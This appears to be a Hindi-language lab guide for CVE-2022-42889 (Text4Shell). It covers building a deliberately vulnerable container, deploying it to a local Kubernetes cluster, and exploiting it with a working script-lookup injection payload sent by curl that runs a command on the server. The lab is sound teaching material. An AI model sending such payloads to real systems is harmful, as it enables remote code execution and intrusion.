
CVE-2022-42889 के लिए Kubernetes Lab
आप या तो Docker इमेज को स्थानीय रूप से बना सकते हैं या Docker Hub से इमेज पुल करके कंटेनर चला सकते हैं।
git clone https://github.com/devenes/text4shell-cve-2022-42889.git
docker build --tag=text4shell .
docker run -d --rm -p 8080:8080 text4shell
docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0
search पैरामीटर में एक स्ट्रिंग पास करके ऐप का परीक्षण करें:curl http://localhost/text4shell/attack?search=<anything>
${prefix:name} के रूप में एक स्ट्रिंग पास करके किया जा सकता है, जहां प्रीफिक्स उपर्युक्त लुकअप है:${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
curl का उपयोग करके हमला करें:curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
dns या url प्रीफिक्स का उपयोग करके भी प्रयास कर सकते हैंdocker container ls
docker exec -it <container_id> bash
/tmp निर्देशिका में foo नामक एक फ़ाइल बनी हुई दिखनी चाहिए:ls /tmp/
docker container stop <container_id>
kubernetes में बदलें और README.md फ़ाइल में दिए गए निर्देशों का पालन करें।cd kubernetes
kind create cluster --config kind-config.yaml
kubectl apply -f deployment.yaml
kubectl apply -f service.yaml
curl का उपयोग करके कमजोर ऐप पर हमला करेंcurl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
kubectl get pods का उपयोग करके पॉड का नाम प्राप्त करेंkubectl get pods
kubectl exec का उपयोग करके पॉड के अंदर जाएंkubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash
ls /tmp/ | grep foo
संदर्भ: